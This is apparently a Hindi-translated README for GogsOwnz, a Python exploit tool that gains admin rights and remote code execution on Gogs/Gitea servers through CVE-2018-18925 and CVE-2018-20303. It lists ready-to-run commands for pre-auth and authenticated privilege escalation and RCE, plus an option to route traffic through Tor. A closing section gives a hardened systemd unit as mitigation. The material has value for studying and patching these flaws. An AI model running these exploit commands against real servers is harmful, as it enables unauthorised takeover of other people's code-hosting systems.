GogsOwnz

GogsOwnz एक सरल स्क्रिप्ट है जो Gogs/Gitea सर्वर पर व्यवस्थापक अधिकार और RCE प्राप्त करने के लिए है।
Gogs/Gitea में कमजोरियों का शोषण करें, जिसमें CVE-2018-18925, CVE-2018-20303 शामिल हैं।

कानूनी अस्वीकरण
यह स्क्रिप्ट ज्यों की त्यों प्रदान की जाती है। कोई वारंटी नहीं, अपने जोखिम पर उपयोग करें, कृपया कानून का पालन करें।

सामान्य उपयोग - [कृपया, पूर्ण उपयोग पढ़ें]

Gogs/Gitea के चलने के बारे में जानकारी प्राप्त करें

python3 gogsownz.py https://127.0.0.1:3000/ -v --info

प्री-ऑथ PrivEsc का शोषण करें

python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

PrivEsc का शोषण करें

python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

या वैकल्पिक रूप से

python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

प्री-ऑथ RCE का शोषण करें

python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

प्रमाणित RCE का शोषण करें

python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

पूर्ण उपयोग

usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

धन्यवाद

धन्यवाद:

Tencent Security (@md5_salt, @ma7h1as and @chromium1337)
PentesterLab (@snyff)
LuckyC4t
gogs सुरक्षा समुदाय :D

शमन उपाय

यदि आप अपने systemd यूनिट फ़ाइल को सेट करने में सावधानी बरतते हैं, तो आपको यह देखकर सुखद आश्चर्य होगा कि शोषण कुछ हद तक नियंत्रित है:

[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

यह कम से कम फ़ाइलसिस्टम एक्सेस को systemd द्वारा बनाए गए एक अस्थायी फ़ाइलसिस्टम तक सीमित रखेगा। यह मदद करता है, लेकिन आपको संभवतः privesc को पैच करना चाहिए और किसी को व्यवस्थापक नहीं देना चाहिए.. स्पष्ट रूप से।

gogsownz

सबसे लोकप्रिय

GogsOwnz

सामान्य उपयोग - [कृपया, पूर्ण उपयोग पढ़ें]

धन्यवाद

और पढ़ें

शमन उपाय